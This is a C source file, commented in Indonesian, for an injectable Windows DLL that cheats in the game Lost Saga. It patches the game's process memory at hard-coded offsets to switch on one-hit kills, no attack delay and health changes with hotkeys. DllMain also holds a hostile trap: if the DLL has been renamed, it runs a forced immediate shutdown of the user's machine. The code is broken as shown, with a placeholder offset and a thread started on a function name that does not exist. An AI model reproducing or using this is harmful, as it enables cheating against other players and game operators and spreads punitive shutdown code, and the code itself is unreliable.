#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//============ OFFSET ============
#define OneHitCSD 0x8F2CB0 // cari sendiri jangan ngemmis aja
#define Health 0x****** // cari sendiri jangan ngemis aja
#define NoDelay 0x8E1779 // cari sendiri jangan ngemis aja
//============ OFFSET ============
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
void SagaBlog()
{
while(1)
{
//========== 1 Hit Crusade ==========//
if (GetAsyncKeyState(VK_F1)&1) { // Hotkey ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1); // Jangan di ganti Agar WORK
}
}
if (GetAsyncKeyState(VK_F2)&1) { // Hotkey OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x4D", 1); // Jangan di ganti Agar WORK
}
}
//========== Fast Delay ==========//
if (GetAsyncKeyState(VK_F3)&1) { // Hotkey ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)NoDelay;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x68\x61\x73", 3); // Jangan di ganti Agar WORK
}
}
if (GetAsyncKeyState(VK_F4)&1) { // Hotkey OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)NoDelay;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x6D\x61\x78", 3); // Jangan di ganti Agar WORK
}
}
//========== Health ==========//
if (GetAsyncKeyState(VK_F5)&1) { // Hotkey ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Health;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1); // Jangan di ganti Agar WORK
}
}
if (GetAsyncKeyState(VK_F6)&1) { // Hotkey OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)Health;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x6D", 1); // Jangan di ganti Agar WORK
}
}
Sleep(5); // Berikan jeda
}
}
BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hDll);
if(callReason == DLL_PROCESS_ATTACH) {
MessageBox(0, "Credit by Stuart'z Little\n\n\n\nThankz to : \n[-] Scrout'z Ocsaider\n=xXx=SCROUT'Z OCSAIDER GANTENG=xXx\n\nJoin :
www.vgmdaponsent.indonesianforum.net\n=================================", "||==== Scrout'z Ocsaider | Was Here ====||",MB_ICONINFORMATION | MB_OK); // Notice yg Keluar
MessageBox(0, "Liarosliana [Fullhacks]\n\nFitur & Hotkeys :\n[-] 1 Hit Crusade : F1 = ON | F2 = OFF\n[-]Fast Delay : F3 = ON | F4 = OFF\n[-]Brutal Skill : F5 = ON | F6 = OFF\n\nTekan Hotkeys ON saat Gambar Cowboy Hilang[Harus pas]\nLalu tekan OFF saat Loading Jin Kisaragi\n\nHANYA BISA 1 FITUR SAJA !\nKALO 2 FITUR MAKA AKAN ERROR / DC\n\n\n========================================\nFollow Blog :
www.vgmdaponsent.indonesianforum.net\nJoin US : My Facebook :
vgmdaponsentcomunity@rocketmail.com", "~>|-|======= Fitur & Hotkeys ======|-|<~",MB_ICONINFORMATION | MB_OK); // Notice yg Keluar
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SagaHacy,0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "DLL.dll") <= 0) {//Nama DLL Asli
MessageBox(0, "Ente Leacher ?","Deteckor",MB_ICONSTOP | MB_OK); // tampilkan pesan, kalo dll nya sdh bukan asli / sudah di rename
MessageBox(0, "Udah dikasih kok rename ?","Deteckor",MB_ICONSTOP | MB_OK);
MessageBox(0, "Dadah !\nKompimu aku Restart ya :*","Deteckor",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR
}
}
}